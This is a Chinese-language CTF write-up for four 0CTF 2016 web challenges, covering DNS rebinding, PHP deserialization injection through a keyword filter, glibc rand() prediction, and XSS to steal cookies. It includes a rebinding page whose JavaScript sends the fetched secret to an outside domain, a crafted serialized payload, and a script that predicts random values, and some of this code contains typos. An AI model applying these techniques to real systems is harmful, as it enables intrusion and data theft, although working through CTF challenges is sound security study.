首先不得不说这场比赛题目水平还是相当相当高的,毕竟是0ops团队。

Monkey

What is Same Origin Policy?

The flag is at http://127.0.0.1:8080/secret After you submitted a url, a monkey will browse the url. The monkey will stay 2 minutes on your page. Try to find a string $str so that (substr(md5($str), 0, 6) === ‘54d7ed’).

首先这个题要计算md5,每次刷新页面都会变的,其实6位的md5组合并不多,理论上是$16^6$个,所以先计算出一些,保存起来,每次到文件中查找就好了。

import hashlib
for i in xrange(1000000000):
    print i, hashlib.md5(str(i)).hexdigest()

算了一会,觉得差不多了,就停了下来,生成了大约2G的文件。查询md5的时候,就使用cat md5.txt|grep xxxx

然后下面域名随便写了自己的一个域名,查看log确实会有一个访问,UA是Mozilla/5.0 0ctf by md5_salt,但是题目上是要访问127.0.0.1才行。

如果将自己的页面上加入js ajax访问127.0.0.1,会因为同源策略被拦截,访问失败。如果想跨域发送请求,需要对方网站设置Access-Control-Allow-Origin,但是没办法收到响应。

现在唯一能控制的就是自己的域名,能不能让自己的域名在爬虫访问的时候是正常的ip,然后js执行的时候变成127.0.0.1呢,这样域名仍然是不变的既可以跨域了。

后来在提示下找到了DNS Rebinding这个方法,页面加载后使用setTimeout增加js执行时间,然后在这个过程中修改域名解析到127.0.0.1,这个就要求DNS的TTL要尽可能的小,才能尽快的生效,一直在用的CloudXNS可以设置60s的TTL,已经足够了。

服务器上的页面是这样的

/* 这个http头是为了接收js跨域报告访问结果设置的,和题目没太大关系。js如果不是使用ajax报告结果,而是`new Image().src`的形式也可以,就可以无视跨域问题了。*/

<?php
header("Access-Control-Allow-Origin: *");
?>
<html>
<head></head>
<body>
<script src="//cdn.bootcss.com/jquery/1.12.1/jquery.js"></script>
<script>
setTimeout(function(){
    $.ajax({
        url: "http://ctf.qduoj.com:8080/secret",
        method: "get",
        success: function(data) {
            $.get("http://ctf1.qduoj.com:8080/123?" + JSON.stringfy(data);
        } 
}, 100000);
 
</script>
</body>
</html>

整体流程就是

最终得到了flag 0ctf{monkey_likes_banananananananaaaa}

piapiapia

代码审计题目,源码在在这里

翻看了一下,看到了反序列化,心中一惊,但是仔细看的话,只有array中的一项是可以被控制的,就是nickname,如果传递了nickname[]数组,在正则验证和判断长度的时候,就成了判断array这个字符串了,是唯一可以带进数据的地方。但是又想,这里不管带进去什么都是字符串的状态啊,不会影响序列化之后的数据。如果能控制头像是config.php就可以读取到flag了。

序列化出来的数据就是a:4:{s:5:"phone";s:11:"13888888888";s:5:"email";s:10:"xxx@qq.com";s:8:"nickname";a:1:{i:0;s:4:"test";}s:5:"photo";s:10:"upload/xxx";}

我们期望的是a:4:{s:5:"phone";s:11:"13888888888";s:5:"email";s:10:"xxx@qq.com";s:8:"nickname";a:1:{i:0;s:4:"test";}s:5:"photo";s:10:"config.php";}

可以通过插入nickname破坏原有结构

a:4:{s:5:”phone”;s:11:”13888888888”;s:5:”email”;s:10:”xxx@qq.com”;s:8:”nickname”;a:1:{i:0;s:4:”test";}s:5:"photo";s:10:"config.php";}”;}s:5:”photo”;s:10:”config.php”;}

代码高亮部分就是想插入的nicknane的值,但是实际生成的序列化结果”test”前面的肯定不是s:4了,长度就是实际的长度,然并卵。

然后注意到数据库查询部分有一个filter,会把部分关键词替换成hacker这个字符串。

public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

所以可以考虑利用这个过滤器修改序列化之后的数据,就是前面增加一些where,在序列化的时候是正确的,但是写入数据库的时候,where被替换成了hacker,字符长度多了一个,这样反序列化的时候,php就会在之前的数据前面读取完成,接下来就是另外一个字段了,也就是我们可以控制的数据部分。

前面增加的where个数就应该是我们的payload的长度31,生成的序列化数据就是a:4:{s:5:"phone";s:11:"13888888888";s:5:"email";s:10:"xxx@qq.com";s:8:"nickname";a:1:{i:0;s:186:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:10:"config.php";}

然后经过替换就成了a:4:{s:5:"phone";s:11:"13888888888";s:5:"email";s:10:"xxx@qq.com";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:10:"config.php";}

这样php解析s:186的时候就正好把所有的hacker读取完了,得到nickname是186的长度,接下来解析的s:5就是我们控制的数据了。

rand_2

这道题虽然只有2分,但是一点都不简单。

题目给出了源码,

<?php
include('config.php');
session_start();

if($_SESSION['time'] && time() - $_SESSION['time'] > 60) {
    session_destroy();
    die('timeout');
} else {
    $_SESSION['time'] = time();
}

echo rand();
if (isset($_GET['go'])) {
    $_SESSION['rand'] = array();
    $i = 5;
    $d = '';
    while($i--){
        $r = (string)rand();
        $_SESSION['rand'][] = $r;
        $d .= $r;
    }
    echo md5($d);
} else if (isset($_GET['check'])) {
    if ($_GET['check'] === $_SESSION['rand']) {
        echo $flag;
    } else {
        echo 'die';
        session_destroy();
    }
} else {
    show_source(__FILE__);
}

简单看来就预测伪随机数,不可能去暴力,时间复杂度太高了,而且session只能用一分钟。这道题要从随机数实现说起。

php的随机数是直接使用了glibc的函数,glibc默认是使用线性反馈算法(linear additive feedback method)来得到随机数。根据 http://www.mscs.dal.ca/~selinger/random/ ,这个算法实现过程是

用c语言实现代码是

#include <stdio.h>

#define MAX 1000
#define seed 1

int main() {
    int r[MAX];
    int i;

    r[0] = seed;
    for (i = 1; i < 31; i++) {
        r[i] = (16807LL * r[i - 1]) % 2147483647;
        if (r[i] < 0) {
            r[i] += 2147483647;
        }
    }
    for (i = 31; i < 34; i++) {
        r[i] = r[i - 31];
    }
    for (i = 34; i < 344; i++) {
        r[i] = r[i - 31] + r[i - 3];
    }
    for (i = 344; i < MAX; i++) {
        r[i] = r[i - 31] + r[i - 3];
        printf("%d\n", ((unsigned int) r[i]) >> 1);
    }
    return 0;
}

这样看来,在种子不变的情况下,已知前面的随机数输出,是可以直接得到后面的随机数的,使用php和Python验证了一下。

<?php
$i = 100;
while($i--)
{
    echo rand();
    echo "\n";
}
f = open("php_rand.txt", "r")
a = [int(l.strip()) for l in f.readlines()]

i = 60
b = (a[i-3]+a[i-31]) % 2147483648
print b, a[i]

所以题目的思路就是获取一些随机数,连续请求重试,只要是中间不生成新的随机数就可以。

代码参考 http://www.isecer.com/ctf/0ctf_2016_web_writeup_rand_2.html

import requests

while True:
    r = requests.session()
    l = []
    # 获取50个随机rand值并存入list
    for i in range(50):
        response = r.get('http://202.120.7.202:8888/')
        l.append(int(response.content[:response.content.find('<')]))
    #将$_SESSION['rand']这个数组写满5个随机数
    response = r.get('http://202.120.7.202:8888/?go')
    #获取将MD5之前的rand随机数存到list
    l.append(int(response.content[:-32]))
    url = 'http://202.120.7.202:8888/?'
    for i in range(5):
        end = len(l)
        #由随机数生成算法预测下一个随机数
        randNUM = (l[end-3]+l[end-31]) % 2147483648 
        l.append(randNUM)#将新生成的也加入到列表里
        #构造url 传入数组5个预测rand随机数
        url += 'check[]={}&'.format(randNUM)
    response = r.get(url)#GET请求url 同时传入参数
    #如果输出不是 die 大功告成
    if 'die' not in response.content:
        print response.content
        break

guest book1

这个题利用了chrome浏览器的两个特点,还是相当好的题目。

如果url是/ctf/test.html?a=%3Cscript%3Evar%20debug=false;%3C/script%3E

QQ20160315-2@2x.png

因为显示页面的代码如下,其中$MESSAGE会被去掉尖括号、引号等

<script>var debug=false;</script>
<div id="$USERNAME">
    <h2>$USERNAME</h2>
</div>
<div id="text"></div>
<script>
    data = "$MESSAGE"
    t = document.getElementById("text")
    if(debug){
        t.innerHTML=data
    }else{
        t.innerText=data
    }
</script>

所以需要

xss成功,可以看到一次访问,referer是http://127.0.0.1:8888/admin/show.php,但是没有cookies,题目说flag在cookie里面,而cookie是http only的,怎么去获取呢?

用js尝试获取了一下admin/show.php的html,也就是document.getElementsByTagName("html"),发现页面有提示,就又访问了一个phpinfo页面获取到了flag。